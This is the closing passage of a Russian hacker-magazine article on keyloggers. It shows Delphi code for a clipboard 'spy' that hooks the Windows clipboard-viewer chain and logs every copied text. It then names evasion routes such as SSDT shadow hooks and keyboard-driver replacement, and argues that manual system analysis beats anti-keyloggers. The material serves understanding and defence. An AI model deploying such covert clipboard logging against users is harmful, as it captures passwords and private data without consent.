ШПИОН ДЛЯ САМОГО СВЯТОГО ЗАЙЦЕВ ОЛЕГ Спецвыпуск: Хакер, номер #070, стр. 070-040-8 Memo1.Lines.Add('Регистрация прошла успешно. Next hWnd = '+IntToHex(hNextClipboardViewer, 8)) else Memo1.Lines.Add('Ошибка GetLastError = '+IntToStr(GetLastError)); end; procedure TCMForm.FormDestroy(Sender: TObject); begin ChangeClipboardChain(Handle, hNextClipboardViewer); end; После регистрации окно начнет получать сообщения двух видов - WM_CHANGECBCHAIN и WM_DRAWCLIPBOARD, - поэтому для их обработки потребуются два метода: procedure WMCHANGECBCHAIN(var Message: TWMCHANGECBCHAIN); message WM_CHANGECBCHAIN; procedure WMDRAWCLIPBOARD(var Message: TMessage); message WM_DRAWCLIPBOARD; Задачей обработчика сообщения WM_CHANGECBCHAIN является корректировка хендла следующего в цепочке окна в случае его разрушения, что реализуется следующим кодом: procedure TCMForm.WMCHANGECBCHAIN(var Message: TWMCHANGECBCHAIN); begin // Удаляется окно, которому мы передаем сообщения ? if Message.Remove = hNextClipboardViewer then hNextClipboardViewer := Message.Next; SendMessage (hNextClipboardViewer, Message.Msg, Message.Remove, Message.Next); end; Соответственно, обработчик WM_DRAWCLIPBOARD содержит код шпиона, который должен опросить содержимое буфера обмена и внести его в протокол. В простейшем случае этот код сводится к следующему: procedure TCMForm.WMDRAWCLIPBOARD(var Message: TMessage); begin // Вносим данные в протокол Memo1.Lines.Add(clipboard.AsText); Memo1.Lines.Add('----------------------------------------------------'); // После обработки необходимо передать сообщение дальше по цепочке SendMessage (hNextClipboardViewer, Message.Msg, Message.WParam, Message.LParam); end; Данный пример просто добавляет содержимое буфера обмена к протоколу. Более сложная реализация может предполагать проверку на предмет повторов. [выводы] В качестве заключения можно сделать пару выводов. Первый и основной вывод состоит в том, что кейлоггер достаточно просто написать самостоятельно. Как следствие, методики сигнатурного поиска для охоты на клавиатурный шпион малоэффективны. В качестве наилучшего метода борьбы можно посоветовать применение одного из описанных выше антикейлоггеров совместно с антируткитом. Однако даже это не даст 100% защиты от шпиона (остается, например, перехват обмена потока RawInputThread в csrss.exe с драйвером клавиатуры и подмена драйвера клавиатуры). Кроме того, следует учитывать, что многие антируткиты не отслеживают регистрацию функций KeServiceDescriptorTableShadow и слайсинг их кода - это дает еще два метода внедрения шпиона. Поэтому вывод прост: на данный момент никакой антикейлоггер не заменит тщательного анализа системы вручную! |